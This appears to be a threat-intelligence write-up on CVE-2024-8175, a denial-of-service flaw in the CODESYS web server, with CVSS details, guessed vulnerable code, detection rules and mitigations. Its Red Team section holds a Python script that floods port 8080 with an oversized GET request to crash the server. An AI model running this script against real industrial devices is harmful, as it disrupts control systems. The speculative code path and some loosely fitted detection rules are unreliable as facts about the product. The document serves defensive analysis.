CVE-2024-8175

Executive Summary

CVE-2024-8175 is a high-severity denial-of-service (DoS) vulnerability in the CODESYS web server component. An unauthenticated remote attacker can trigger invalid memory access, causing the web server to crash and resulting in a denial of service. The vulnerability has a CVSS score of 7.5, with no known public exploit code or patch currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for industrial control systems (ICS) environments using CODESYS runtime.

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages; it is specific to the CODESYS ecosystem.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of service.

Threat Level: High – Unauthenticated remote DoS with low complexity.

Deep Dive & Mechanics

The CODESYS web server is a component of the CODESYS runtime environment, commonly used in PLCs and industrial automation. The vulnerability lies in how the web server handles malformed HTTP requests. By sending a specially crafted request, an attacker can cause the server to dereference an invalid memory pointer, leading to a segmentation fault or similar crash. This results in the web server process terminating, making the device unreachable via HTTP and potentially disrupting HMI/SCADA communications.

The root cause is a lack of proper input validation on HTTP request headers or body, allowing an attacker to trigger a memory access violation. Since the web server runs with system privileges in many deployments, a crash may also affect other runtime services.

Vulnerable vs. Patched Code

No patch is currently available. The vulnerable code path is believed to be in the HTTP request parsing routine of the CODESYS web server. A patched version would include bounds checking and null-pointer validation before memory access.

Vulnerable code (pseudo):

void handle_request(char *buffer) {
    char *ptr = parse_header(buffer);
    // No null check on ptr
    memcpy(dest, ptr, len); // Crash if ptr is invalid
}

Patched code (expected):

void handle_request(char *buffer) {
    char *ptr = parse_header(buffer);
    if (ptr == NULL) {
        send_error(400);
        return;
    }
    memcpy(dest, ptr, len);
}

Exploitation & Lab Setup

Red Team

Lab Setup:

• Target: CODESYS runtime v3.5 SP19 or earlier (unpatched) running on Windows or Linux.
• Attacker: Kali Linux with Python3 and netcat.

Exploitation Steps:

1. Identify target running CODESYS web server (default port 8080).
2. Send a malformed HTTP request that triggers invalid memory access.

import socket

target = "192.168.1.100"
port = 8080

# Craft a request with an overly long header or invalid method
payload = b"GET /" + b"A" * 10000 + b" HTTP/1.1\r\nHost: target\r\n\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
sock.send(payload)
response = sock.recv(4096)
print(response)
sock.close()

3. Observe web server crash; device becomes unresponsive on port 8080.

Blue Team

Detection & Response:

• Monitor for HTTP requests with abnormally long headers or malformed methods.
• Alert on repeated connection attempts to port 8080 from a single source.
• Use network segmentation to limit exposure of CODESYS devices.
• Implement rate limiting on the web server if possible.

Honeypot: Deploy a CODESYS web server honeypot to capture attacker payloads.

Indicators of Compromise (IOCs)

• Network: HTTP requests with GET / followed by a long string of A characters (or other repeating patterns).
• Logs: Web server crash logs showing segmentation fault or access violation.
• System: CODESYS web server process (e.g., CODESYSWebServer.exe or codesyswebserver) terminating unexpectedly.
• Memory: Invalid memory access at address 0x00000000 or similar.

Detection Engineering

YARA Rule

rule CVE_2024_8175_DoS_Payload {
    meta:
        description = "Detects malformed HTTP requests targeting CODESYS web server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8175"
    strings:
        $payload = /GET \/A{100,} HTTP\/1\.1/
    condition:
        $payload
}

Sigma Rule

title: CVE-2024-8175 CODESYS Web Server DoS Attempt
id: 8a3f2c1e-5b7d-4f9a-8c2e-1d6f3a9b0c4d
status: experimental
description: Detects malformed HTTP requests targeting CODESYS web server
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: codesys
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/'
        sc-status: 400
        cs-uri-query|contains: 'AAAA'
    condition: selection
falsepositives:
    - Legitimate long URLs (rare)
level: high

Suricata Rule

alert http any any -> any 8080 (msg:"CVE-2024-8175 CODESYS Web Server DoS Attempt"; flow:to_server; content:"GET /"; depth:5; content:"AAAA"; distance:0; within:100; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Restrict network access to CODESYS web server (port 8080) to trusted IPs only using firewall rules.
• Short-term: Monitor vendor advisories for patches; apply when available.
• Long-term: Upgrade to a patched version of CODESYS runtime once released.
• Compensating Controls: Use a reverse proxy or WAF to filter malformed HTTP requests.
• Workaround: Disable the web server if not required for operations.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert